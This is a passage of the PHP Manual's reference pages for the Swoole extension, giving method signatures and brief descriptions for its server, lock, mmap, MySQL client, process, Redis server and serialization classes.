public Swoole\Server::taskwait(string $data, float $timeout = ?, int $worker_id = ?): void
public Swoole\Server::taskWaitMulti(array $tasks, float $timeout_ms = ?): void
public Swoole\Server::tick(int $interval_ms, callable $callback): void
}

Table of Contents

  • Swoole\Http\Server::on — Bind callback function to HTTP server by event name.
  • Swoole\Http\Server::start — Start the swoole http server.

User Contributed Notes

There are no user contributed notes for this page.


Bind callback function to HTTP server by event name.

  • ? Swoole\Http\Server
  • Swoole\Http\Server::start ?
  • PHP Manual
  • Swoole\Http\Server
  • Bind callback function to HTTP server by event name.

Swoole\Http\Server::on

(PECL swoole >= 1.9.0)

Swoole\Http\Server::on — Bind callback function to HTTP server by event name.

说明

public Swoole\Http\Server::on(string $event_name, callable $callback): void

Bind callback function to HTTP server by event name.

参数

event_name

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Start the swoole http server.

  • ? Swoole\Http\Server::on
  • Swoole\Lock ?
  • PHP Manual
  • Swoole\Http\Server
  • Start the swoole http server.

Swoole\Http\Server::start

(PECL swoole >= 1.9.0)

Swoole\Http\Server::start — Start the swoole http server.

说明

public Swoole\Http\Server::start(): void

Start the swoole http server.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Lock class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Lock {
/* 方法 */
public __destruct(): void
public lock_read(): void
public lock(): void
public trylock_read(): void
public trylock(): void
public unlock(): void
}

Table of Contents

  • Swoole\Lock::__construct — Construct a memory lock.
  • Swoole\Lock::__destruct — Destory a Swoole memory lock.
  • Swoole\Lock::lock_read — Lock a read-write lock for reading.
  • Swoole\Lock::lock — Try to acquire the lock. It will block if the lock is not available.
  • Swoole\Lock::trylock_read — Try to lock a read-write lock for reading and return straight away even the lock is not available.
  • Swoole\Lock::trylock — Try to acquire the lock and return straight away even the lock is not available.
  • Swoole\Lock::unlock — Release the lock.

User Contributed Notes

There are no user contributed notes for this page.


Construct a memory lock.

  • ? Swoole\Lock
  • Swoole\Lock::__destruct ?
  • PHP Manual
  • Swoole\Lock
  • Construct a memory lock.

Swoole\Lock::__construct

(PECL swoole >= 1.9.0)

Swoole\Lock::__construct — Construct a memory lock.

说明

public Swoole\Lock::__construct(string $type = ?, string $file_lock_location = ?)

Swoole lock is used for data synchronization between multiple theads or processes.

参数

type

file_lock_location

User Contributed Notes

There are no user contributed notes for this page.


Destory a Swoole memory lock.

  • ? Swoole\Lock::__construct
  • Swoole\Lock::lock_read ?
  • PHP Manual
  • Swoole\Lock
  • Destory a Swoole memory lock.

Swoole\Lock::__destruct

(PECL swoole >= 1.9.0)

Swoole\Lock::__destruct — Destory a Swoole memory lock.

说明

public Swoole\Lock::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Lock a read-write lock for reading.

  • ? Swoole\Lock::__destruct
  • Swoole\Lock::lock ?
  • PHP Manual
  • Swoole\Lock
  • Lock a read-write lock for reading.

Swoole\Lock::lock_read

(PECL swoole >= 1.9.0)

Swoole\Lock::lock_read — Lock a read-write lock for reading.

说明

public Swoole\Lock::lock_read(): void

Lock a read-write lock for reading.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Try to acquire the lock. It will block if the lock is not available.

  • ? Swoole\Lock::lock_read
  • Swoole\Lock::trylock_read ?
  • PHP Manual
  • Swoole\Lock
  • Try to acquire the lock. It will block if the lock is not available.

Swoole\Lock::lock

(PECL swoole >= 1.9.0)

Swoole\Lock::lock — Try to acquire the lock. It will block if the lock is not available.

说明

public Swoole\Lock::lock(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Try to lock a read-write lock for reading and return straight away even the lock is not available.

  • ? Swoole\Lock::lock
  • Swoole\Lock::trylock ?
  • PHP Manual
  • Swoole\Lock
  • Try to lock a read-write lock for reading and return straight away even the lock is not available.

Swoole\Lock::trylock_read

(PECL swoole >= 1.9.0)

Swoole\Lock::trylock_read — Try to lock a read-write lock for reading and return straight away even the lock is not available.

说明

public Swoole\Lock::trylock_read(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Try to acquire the lock and return straight away even the lock is not available.

  • ? Swoole\Lock::trylock_read
  • Swoole\Lock::unlock ?
  • PHP Manual
  • Swoole\Lock
  • Try to acquire the lock and return straight away even the lock is not available.

Swoole\Lock::trylock

(PECL swoole >= 1.9.0)

Swoole\Lock::trylock — Try to acquire the lock and return straight away even the lock is not available.

说明

public Swoole\Lock::trylock(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Release the lock.

  • ? Swoole\Lock::trylock
  • Swoole\Mmap ?
  • PHP Manual
  • Swoole\Lock
  • Release the lock.

Swoole\Lock::unlock

(PECL swoole >= 1.9.0)

Swoole\Lock::unlock — Release the lock.

说明

public Swoole\Lock::unlock(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Mmap class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Mmap {
/* 方法 */
public static open(string $filename, string $size = ?, string $offset = ?): ReturnType
}

Table of Contents

  • Swoole\Mmap::open — Map a file into memory and return the stream resource which can be used by PHP stream operations.

User Contributed Notes

There are no user contributed notes for this page.


Map a file into memory and return the stream resource which can be used by PHP stream operations.

  • ? Swoole\Mmap
  • Swoole\MySQL ?
  • PHP Manual
  • Swoole\Mmap
  • Map a file into memory and return the stream resource which can be used by PHP stream operations.

Swoole\Mmap::open

(PECL swoole >= 1.9.0)

Swoole\Mmap::open — Map a file into memory and return the stream resource which can be used by PHP stream operations.

说明

public static Swoole\Mmap::open(string $filename, string $size = ?, string $offset = ?): ReturnType

参数

filename

size

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\MySQL class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\MySQL {
/* 方法 */
public close(): void
public connect(array $server_config, callable $callback): void
public __destruct(): void
public getBuffer(): ReturnType
public on(string $event_name, callable $callback): void
public query(string $sql, callable $callback): ReturnType
}

Table of Contents

  • Swoole\MySQL::close — Close the async MySQL connection.
  • Swoole\MySQL::connect — Connect to the remote MySQL server.
  • Swoole\MySQL::__construct — Construct an async MySQL client.
  • Swoole\MySQL::__destruct — Destory the async MySQL client.
  • Swoole\MySQL::getBuffer — Description
  • Swoole\MySQL::on — Register callback function based on event name.
  • Swoole\MySQL::query — Run the SQL query.

User Contributed Notes

There are no user contributed notes for this page.


Close the async MySQL connection.

  • ? Swoole\MySQL
  • Swoole\MySQL::connect ?
  • PHP Manual
  • Swoole\MySQL
  • Close the async MySQL connection.

Swoole\MySQL::close

(PECL swoole >= 1.9.0)

Swoole\MySQL::close — Close the async MySQL connection.

说明

public Swoole\MySQL::close(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Connect to the remote MySQL server.

  • ? Swoole\MySQL::close
  • Swoole\MySQL::__construct ?
  • PHP Manual
  • Swoole\MySQL
  • Connect to the remote MySQL server.

Swoole\MySQL::connect

(PECL swoole >= 1.9.0)

Swoole\MySQL::connect — Connect to the remote MySQL server.

说明

public Swoole\MySQL::connect(array $server_config, callable $callback): void

Connect to the remote MySQL server.

参数

server_config

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct an async MySQL client.

  • ? Swoole\MySQL::connect
  • Swoole\MySQL::__destruct ?
  • PHP Manual
  • Swoole\MySQL
  • Construct an async MySQL client.

Swoole\MySQL::__construct

(PECL swoole >= 1.9.0)

Swoole\MySQL::__construct — Construct an async MySQL client.

说明

public Swoole\MySQL::__construct()

Construct an async MySQL client.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Destory the async MySQL client.

  • ? Swoole\MySQL::__construct
  • Swoole\MySQL::getBuffer ?
  • PHP Manual
  • Swoole\MySQL
  • Destory the async MySQL client.

Swoole\MySQL::__destruct

(PECL swoole >= 1.9.0)

Swoole\MySQL::__destruct — Destory the async MySQL client.

说明

public Swoole\MySQL::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\MySQL::__destruct
  • Swoole\MySQL::on ?
  • PHP Manual
  • Swoole\MySQL
  • Description

Swoole\MySQL::getBuffer

(PECL swoole >= 1.9.0)

Swoole\MySQL::getBuffer — Description

说明

public Swoole\MySQL::getBuffer(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Register callback function based on event name.

  • ? Swoole\MySQL::getBuffer
  • Swoole\MySQL::query ?
  • PHP Manual
  • Swoole\MySQL
  • Register callback function based on event name.

Swoole\MySQL::on

(PECL swoole >= 1.9.0)

Swoole\MySQL::on — Register callback function based on event name.

说明

public Swoole\MySQL::on(string $event_name, callable $callback): void

Register callback function based on event name, current only 'close' event is supported.

参数

event_name

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


Run the SQL query.

  • ? Swoole\MySQL::on
  • Swoole\MySQL\Exception ?
  • PHP Manual
  • Swoole\MySQL
  • Run the SQL query.

Swoole\MySQL::query

(PECL swoole >= 1.9.0)

Swoole\MySQL::query — Run the SQL query.

说明

public Swoole\MySQL::query(string $sql, callable $callback): ReturnType

参数

sql

callback

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\MySQL\Exception class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\MySQL\Exception extends Exception implements Throwable {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
}

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Process class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Process {
/* 常量 */
const int IPC_NOWAIT = 256;
/* 方法 */
public static alarm(int $interval_usec): void
public close(): void
public static daemon(bool $nochdir = ?, bool $noclose = ?): void
public __destruct(): void
public exec(string $exec_file, string $args): ReturnType
public exit(string $exit_code = ?): void
public freeQueue(): void
public static kill(int $pid, int $signal_no = ?): bool
public name(string $process_name): bool
public pop(int $maxsize = ?): mixed
public push(string $data): bool
public read(int $maxsize = ?): string
public static signal(string $signal_no, callable $callback): void
public start(): void
public statQueue(): array
public useQueue(int $key, int $mode = ?): bool
public static wait(bool $blocking = ?): array
public write(string $data): int
}

预定义常量

Swoole\Process::IPC_NOWAIT

Table of Contents

  • Swoole\Process::alarm — High precision timer which triggers signal with fixed interval.
  • Swoole\Process::close — Close the pipe to the child process.
  • Swoole\Process::__construct — Construct a process.
  • Swoole\Process::daemon — Change the process to be a daemon process.
  • Swoole\Process::__destruct — Destory the process.
  • Swoole\Process::exec — Execute system commands.
  • Swoole\Process::exit — Stop the child processes.
  • Swoole\Process::freeQueue — Destroy the message queue created by swoole_process::useQueue.
  • Swoole\Process::kill — Send signal to the child process.
  • Swoole\Process::name — Set name of the process.
  • Swoole\Process::pop — Read and pop data from the message queue.
  • Swoole\Process::push — Write and push data into the message queue.
  • Swoole\Process::read — Read data sending to the process.
  • Swoole\Process::signal — Send signal to the child processes.
  • Swoole\Process::start — Start the process.
  • Swoole\Process::statQueue — Get the stats of the message queue used as the communication method between processes.
  • Swoole\Process::useQueue — Create a message queue as the communication method between the parent process and child processes.
  • Swoole\Process::wait — Wait for the events of child processes.
  • Swoole\Process::write — Write data into the pipe and communicate with the parent process or child processes.

User Contributed Notes

There are no user contributed notes for this page.


High precision timer which triggers signal with fixed interval.

  • ? Swoole\Process
  • Swoole\Process::close ?
  • PHP Manual
  • Swoole\Process
  • High precision timer which triggers signal with fixed interval.

Swoole\Process::alarm

(PECL swoole >= 1.9.0)

Swoole\Process::alarm — High precision timer which triggers signal with fixed interval.

说明

public static Swoole\Process::alarm(int $interval_usec): void

参数

interval_usec

返回值

User Contributed Notes

There are no user contributed notes for this page.


Close the pipe to the child process.

  • ? Swoole\Process::alarm
  • Swoole\Process::__construct ?
  • PHP Manual
  • Swoole\Process
  • Close the pipe to the child process.

Swoole\Process::close

(PECL swoole >= 1.9.0)

Swoole\Process::close — Close the pipe to the child process.

说明

public Swoole\Process::close(): void

Close the pipe to the child process.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Construct a process.

  • ? Swoole\Process::close
  • Swoole\Process::daemon ?
  • PHP Manual
  • Swoole\Process
  • Construct a process.

Swoole\Process::__construct

(PECL swoole >= 1.9.0)

Swoole\Process::__construct — Construct a process.

说明

public Swoole\Process::__construct(callable $callback, bool $redirect_stdin_and_stdout = ?, int $pipe_type = ?)

参数

callback

redirect_stdin_and_stdout

pipe_type

User Contributed Notes

There are no user contributed notes for this page.


Change the process to be a daemon process.

  • ? Swoole\Process::__construct
  • Swoole\Process::__destruct ?
  • PHP Manual
  • Swoole\Process
  • Change the process to be a daemon process.

Swoole\Process::daemon

(PECL swoole >= 1.9.0)

Swoole\Process::daemon — Change the process to be a daemon process.

说明

public static Swoole\Process::daemon(bool $nochdir = ?, bool $noclose = ?): void

Warning

本函数还未编写文档，仅有参数列表。

参数

nochdir

noclose

返回值

User Contributed Notes

There are no user contributed notes for this page.


Destory the process.

  • ? Swoole\Process::daemon
  • Swoole\Process::exec ?
  • PHP Manual
  • Swoole\Process
  • Destory the process.

Swoole\Process::__destruct

(PECL swoole >= 1.9.0)

Swoole\Process::__destruct — Destory the process.

说明

public Swoole\Process::__destruct(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Execute system commands.

  • ? Swoole\Process::__destruct
  • Swoole\Process::exit ?
  • PHP Manual
  • Swoole\Process
  • Execute system commands.

Swoole\Process::exec

(PECL swoole >= 1.9.0)

Swoole\Process::exec — Execute system commands.

说明

public Swoole\Process::exec(string $exec_file, string $args): ReturnType

The process will be replaced to be the system command process, but the pipe to the parent process will be kept.

参数

exec_file

args

返回值

User Contributed Notes

There are no user contributed notes for this page.


Stop the child processes.

  • ? Swoole\Process::exec
  • Swoole\Process::freeQueue ?
  • PHP Manual
  • Swoole\Process
  • Stop the child processes.

Swoole\Process::exit

(PECL swoole >= 1.9.0)

Swoole\Process::exit — Stop the child processes.

说明

public Swoole\Process::exit(string $exit_code = ?): void

参数

exit_code

返回值

User Contributed Notes

There are no user contributed notes for this page.


Destroy the message queue created by swoole_process::useQueue.

  • ? Swoole\Process::exit
  • Swoole\Process::kill ?
  • PHP Manual
  • Swoole\Process
  • Destroy the message queue created by swoole_process::useQueue.

Swoole\Process::freeQueue

(PECL swoole >= 1.9.0)

Swoole\Process::freeQueue — Destroy the message queue created by swoole_process::useQueue.

说明

public Swoole\Process::freeQueue(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send signal to the child process.

  • ? Swoole\Process::freeQueue
  • Swoole\Process::name ?
  • PHP Manual
  • Swoole\Process
  • Send signal to the child process.

Swoole\Process::kill

(PECL swoole >= 1.9.0)

Swoole\Process::kill — Send signal to the child process.

说明

public static Swoole\Process::kill(int $pid, int $signal_no = ?): bool

Send signal to the child process.

参数

pid

Process pid

signal_no

Signal to be sent

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set name of the process.

  • ? Swoole\Process::kill
  • Swoole\Process::pop ?
  • PHP Manual
  • Swoole\Process
  • Set name of the process.

Swoole\Process::name

(PECL swoole >= 1.9.0)

Swoole\Process::name — Set name of the process.

说明

public Swoole\Process::name(string $process_name): bool

参数

process_name

Set name of the process.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Read and pop data from the message queue.

  • ? Swoole\Process::name
  • Swoole\Process::push ?
  • PHP Manual
  • Swoole\Process
  • Read and pop data from the message queue.

Swoole\Process::pop

(PECL swoole >= 1.9.0)

Swoole\Process::pop — Read and pop data from the message queue.

说明

public Swoole\Process::pop(int $maxsize = ?): mixed

参数

maxsize

返回值

User Contributed Notes

There are no user contributed notes for this page.


Write and push data into the message queue.

  • ? Swoole\Process::pop
  • Swoole\Process::read ?
  • PHP Manual
  • Swoole\Process
  • Write and push data into the message queue.

Swoole\Process::push

(PECL swoole >= 1.9.0)

Swoole\Process::push — Write and push data into the message queue.

说明

public Swoole\Process::push(string $data): bool

参数

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


Read data sending to the process.

  • ? Swoole\Process::push
  • Swoole\Process::signal ?
  • PHP Manual
  • Swoole\Process
  • Read data sending to the process.

Swoole\Process::read

(PECL swoole >= 1.9.0)

Swoole\Process::read — Read data sending to the process.

说明

public Swoole\Process::read(int $maxsize = ?): string

参数

maxsize

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send signal to the child processes.

  • ? Swoole\Process::read
  • Swoole\Process::start ?
  • PHP Manual
  • Swoole\Process
  • Send signal to the child processes.

Swoole\Process::signal

(PECL swoole >= 1.9.0)

Swoole\Process::signal — Send signal to the child processes.

说明

public static Swoole\Process::signal(string $signal_no, callable $callback): void

参数

signal_no

callback

返回值

If signal sent successfully, it returns TRUE, otherwise it returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Start the process.

  • ? Swoole\Process::signal
  • Swoole\Process::statQueue ?
  • PHP Manual
  • Swoole\Process
  • Start the process.

Swoole\Process::start

(PECL swoole >= 1.9.0)

Swoole\Process::start — Start the process.

说明

public Swoole\Process::start(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the stats of the message queue used as the communication method between processes.

  • ? Swoole\Process::start
  • Swoole\Process::useQueue ?
  • PHP Manual
  • Swoole\Process
  • Get the stats of the message queue used as the communication method between processes.

Swoole\Process::statQueue

(PECL swoole >= 1.9.0)

Swoole\Process::statQueue — Get the stats of the message queue used as the communication method between processes.

说明

public Swoole\Process::statQueue(): array

参数

此函数没有参数。

返回值

The array of status of the message queue.

User Contributed Notes

There are no user contributed notes for this page.


Create a message queue as the communication method between the parent process and child processes.

  • ? Swoole\Process::statQueue
  • Swoole\Process::wait ?
  • PHP Manual
  • Swoole\Process
  • Create a message queue as the communication method between the parent process and child processes.

Swoole\Process::useQueue

(PECL swoole >= 1.9.0)

Swoole\Process::useQueue — Create a message queue as the communication method between the parent process and child processes.

说明

public Swoole\Process::useQueue(int $key, int $mode = ?): bool

参数

key

mode

返回值

User Contributed Notes

There are no user contributed notes for this page.


Wait for the events of child processes.

  • ? Swoole\Process::useQueue
  • Swoole\Process::write ?
  • PHP Manual
  • Swoole\Process
  • Wait for the events of child processes.

Swoole\Process::wait

(PECL swoole >= 1.9.0)

Swoole\Process::wait — Wait for the events of child processes.

说明

public static Swoole\Process::wait(bool $blocking = ?): array

参数

blocking

返回值

User Contributed Notes

There are no user contributed notes for this page.


Write data into the pipe and communicate with the parent process or child processes.

  • ? Swoole\Process::wait
  • Swoole\Redis\Server ?
  • PHP Manual
  • Swoole\Process
  • Write data into the pipe and communicate with the parent process or child processes.

Swoole\Process::write

(PECL swoole >= 1.9.0)

Swoole\Process::write — Write data into the pipe and communicate with the parent process or child processes.

说明

public Swoole\Process::write(string $data): int

参数

data

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Redis\Server class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Redis\Server extends Swoole\Server {
/* 常量 */
const int NIL = 1;
const int ERROR = 0;
const int STATUS = 2;
const int INT = 3;
const int STRING = 4;
const int SET = 5;
const int MAP = 6;
/* 方法 */
public static format(string $type, string $value = ?): ReturnType
public setHandler(
string $command,
string $callback,
string $number_of_string_param = ?,
string $type_of_array_param = ?
): ReturnType
public start(): ReturnType
/* 继承的方法 */
public Swoole\Server::addlistener(string $host, int $port, string $socket_type): void
public Swoole\Server::addProcess(swoole_process $process): bool
public Swoole\Server::after(int $after_time_ms, callable $callback, string $param = ?): ReturnType
public Swoole\Server::bind(int $fd, int $uid): bool
public Swoole\Server::clearTimer(int $timer_id): void
swoole_timer_clear(int $timer_id): void
public Swoole\Server::close(int $fd, bool $reset = ?): bool
public Swoole\Server::confirm(int $fd): bool
public Swoole\Server::connection_info(int $fd, int $reactor_id = ?): array
public Swoole\Server::connection_list(int $start_fd, int $pagesize = ?): array
public Swoole\Server::defer(callable $callback): void
public Swoole\Server\Port::__destruct(): void
public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType
public Swoole\Server\Port::set(array $settings): void
public Swoole\Server::exist(int $fd): bool
public Swoole\Server::finish(string $data): void
public Swoole\Server::getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array
public Swoole\Server::getClientList(int $start_fd, int $pagesize = ?): array
public Swoole\Server::getLastError(): int
public Swoole\Server::heartbeat(bool $if_close_connection): mixed
public Swoole\Server::listen(string $host, int $port, string $socket_type): bool
public Swoole\Server::on(string $event_name, callable $callback): void
public Swoole\Server::pause(int $fd): void
public Swoole\Server::protect(int $fd, bool $is_protected = ?): void
public Swoole\Server::reload(): bool
public Swoole\Server::resume(int $fd): void
public Swoole\Server::send(int $fd, string $data, int $reactor_id = ?): bool
public Swoole\Server::sendfile(int $fd, string $filename, int $offset = ?): bool
public Swoole\Server::sendMessage(int $worker_id, string $data): bool
public Swoole\Server::sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool
public Swoole\Server::sendwait(int $fd, string $data): bool
public Swoole\Server::set(array $settings): ReturnType
public Swoole\Server::shutdown(): void
public Swoole\Server::start(): void
public Swoole\Server::stats(): array
public Swoole\Server::stop(int $worker_id = ?): bool
public Swoole\Server::task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed
public Swoole\Server::taskwait(string $data, float $timeout = ?, int $worker_id = ?): void
public Swoole\Server::taskWaitMulti(array $tasks, float $timeout_ms = ?): void
public Swoole\Server::tick(int $interval_ms, callable $callback): void
}

预定义常量

Swoole\Redis\Server::NIL

Swoole\Redis\Server::ERROR

Swoole\Redis\Server::STATUS

Swoole\Redis\Server::INT

Swoole\Redis\Server::STRING

Swoole\Redis\Server::SET

Swoole\Redis\Server::MAP

Table of Contents

  • Swoole\Redis\Server::format — Description
  • Swoole\Redis\Server::setHandler — Description
  • Swoole\Redis\Server::start — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Redis\Server
  • Swoole\Redis\Server::setHandler ?
  • PHP Manual
  • Swoole\Redis\Server
  • Description

Swoole\Redis\Server::format

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::format — Description

说明

public static Swoole\Redis\Server::format(string $type, string $value = ?): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

type

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Redis\Server::format
  • Swoole\Redis\Server::start ?
  • PHP Manual
  • Swoole\Redis\Server
  • Description

Swoole\Redis\Server::setHandler

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::setHandler — Description

说明

public Swoole\Redis\Server::setHandler(
string $command,
string $callback,
string $number_of_string_param = ?,
string $type_of_array_param = ?
): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

command

callback

number_of_string_param

type_of_array_param

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Redis\Server::setHandler
  • Swoole\Serialize ?
  • PHP Manual
  • Swoole\Redis\Server
  • Description

Swoole\Redis\Server::start

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::start — Description

说明

public Swoole\Redis\Server::start(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Serialize class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Serialize {
/* 方法 */
public static pack(string $data, int $is_fast = ?): ReturnType
public static unpack(string $data, string $args = ?): ReturnType
}

Table of Contents

  • Swoole\Serialize::pack — Serialize the data.
  • Swoole\Serialize::unpack — Unserialize the data.

User Contributed Notes

There are no user contributed notes for this page.


Serialize the data.

  • ? Swoole\Serialize
  • Swoole\Serialize::unpack ?
  • PHP Manual
  • Swoole\Serialize
  • Serialize the data.

Swoole\Serialize::pack

(PECL swoole >= 1.9.0)

Swoole\Serialize::pack — Serialize the data.

说明

public static Swoole\Serialize::pack(string $data, int $is_fast = ?): ReturnType

Swoole provides a fast and high performance serialization module.

参数

data

is_fast

返回值

User Contributed Notes

There are no user contributed notes for this page.


Unserialize the data.

  • ? Swoole\Serialize::pack
  • Swoole\Server ?
  • PHP Manual
  • Swoole\Serialize
  • Unserialize the data.

Swoole\Serialize::unpack

(PECL swoole >= 1.9.0)

Swoole\Serialize::unpack — Unserialize the data.

说明

public static Swoole\Serialize::unpack(string $data, string $args = ?): ReturnType

Unserialize the data.

参数

string

args

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Server class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Server {
/* 方法 */
public addlistener(string $host, int $port, string $socket_type): void
public addProcess(swoole_process $process): bool
public after(int $after_time_ms, callable $callback, string $param = ?): ReturnType
public bind(int $fd, int $uid): bool
public clearTimer(int $timer_id): void
swoole_timer_clear(int $timer_id): void
public close(int $fd, bool $reset = ?): bool
public confirm(int $fd): bool
public connection_info(int $fd, int $reactor_id = ?): array
public connection_list(int $start_fd, int $pagesize = ?): array
public defer(callable $callback): void
public Swoole\Server\Port::__destruct(): void
public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType
public Swoole\Server\Port::set(array $settings): void
public exist(int $fd): bool
public finish(string $data): void
public getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array
public getClientList(int $start_fd, int $pagesize = ?): array
public getLastError(): int
public heartbeat(bool $if_close_connection): mixed
public listen(string $host, int $port, string $socket_type): bool
public on(string $event_name, callable $callback): void
public pause(int $fd): void
public protect(int $fd, bool $is_protected = ?): void
public reload(): bool
public resume(int $fd): void
public send(int $fd, string $data, int $reactor_id = ?): bool
public sendfile(int $fd, string $filename, int $offset = ?): bool
public sendMessage(int $worker_id, string $data): bool
public sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool
public sendwait(int $fd, string $data): bool
public set(array $settings): ReturnType
public shutdown(): void
public start(): void
public stats(): array
public stop(int $worker_id = ?): bool
public task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed
public taskwait(string $data, float $timeout = ?, int $worker_id = ?): void
public taskWaitMulti(array $tasks, float $timeout_ms = ?): void
public tick(int $interval_ms, callable $callback): void
}

Table of Contents

  • Swoole\Server::addlistener — Add a new listener to the server.
  • Swoole\Server::addProcess — Add a user defined swoole_process to the server.
  • Swoole\Server::after — Trigger a callback function after a period of time.
  • Swoole\Server::bind — Bind the connection to a user defined user ID.
  • Swoole\Server::clearTimer — Stop and destory a timer.
  • Swoole\Server::close — Close a connection to the client.
  • Swoole\Server::confirm — Check status of the connection.
  • Swoole\Server::connection_info — Get the connection info by file description.
  • Swoole\Server::connection_list — Get all of the established connections.
  • Swoole\Server::__construct — Construct a Swoole server.
  • Swoole\Server::defer — Delay execution of the callback function at the end of current EventLoop.
  • Swoole\Server\Port::__construct — Construct a server port
  • Swoole\Server\Port::__destruct — Destory server port
  • Swoole\Server\Port::on — Register callback functions by event.
  • Swoole\Server\Port::set — Set protocol of the server port.
  • Swoole\Server::exist — Check if the connection is existed.
  • Swoole\Server::finish — Used in task process for sending result to the worker process when the task is finished.
  • Swoole\Server::getClientInfo — Get the connection info by file description.
  • Swoole\Server::getClientList — Get all of the established connections.
  • Swoole\Server::getLastError — Get the error code of the most recent error.
  • Swoole\Server::heartbeat — Check all the connections on the server.
  • Swoole\Server::listen — Listen on the given IP and port, socket type.
  • Swoole\Server::on — Register a callback function by event name.
  • Swoole\Server::pause — Stop receiving data from the connection.
  • Swoole\Server::protect — Set the connection to be protected mode.
  • Swoole\Server::reload — Restart all the worker process.
  • Swoole\Server::resume — Start receving data from the connection.
  • Swoole\Server::send — Send data to the client.
  • Swoole\Server::sendfile — Send file to the connection.
  • Swoole\Server::sendMessage — Send message to worker processes by ID.
  • Swoole\Server::sendto — Send data to the remote UDP address.
  • Swoole\Server::sendwait — Send data to the remote socket in the blocking way.
  • Swoole\Server::set — Set the runtime settings of the swoole server.
  • Swoole\Server::shutdown — Shutdown the master server process, this function can be called in worker processes.
  • Swoole\Server::start — Start the Swoole server.
  • Swoole\Server::stats — Get the stats of the Swoole server.
  • Swoole\Server::stop — Stop the Swoole server.
  • Swoole\Server::task — Send data to the task worker processes.
  • Swoole\Server::taskwait — Send data to the task worker processes in blocking way.
  • Swoole\Server::taskWaitMulti — Execute multiple tasks concurrently.
  • Swoole\Server::tick — Repeats a given function at every given time-interval.

User Contributed Notes

There are no user contributed notes for this page.


Add a new listener to the server.

  • ? Swoole\Server
  • Swoole\Server::addProcess ?
  • PHP Manual
  • Swoole\Server
  • Add a new listener to the server.

Swoole\Server::addlistener

(PECL swoole >= 1.9.0)

Swoole\Server::addlistener — Add a new listener to the server.

说明

public Swoole\Server::addlistener(string $host, int $port, string $socket_type): void

参数

host

port

socket_type

返回值

User Contributed Notes

There are no user contributed notes for this page.


Add a user defined swoole_process to the server.

  • ? Swoole\Server::addlistener
  • Swoole\Server::after ?
  • PHP Manual
  • Swoole\Server
  • Add a user defined swoole_process to the server.

Swoole\Server::addProcess

(PECL swoole >= 1.9.0)

Swoole\Server::addProcess — Add a user defined swoole_process to the server.

说明

public Swoole\Server::addProcess(swoole_process $process): bool

参数

process

返回值

User Contributed Notes

There are no user contributed notes for this page.


Trigger a callback function after a period of time.

  • ? Swoole\Server::addProcess
  • Swoole\Server::bind ?
  • PHP Manual
  • Swoole\Server
  • Trigger a callback function after a period of time.

Swoole\Server::after

(PECL swoole >= 1.9.0)

Swoole\Server::after — Trigger a callback function after a period of time.

说明

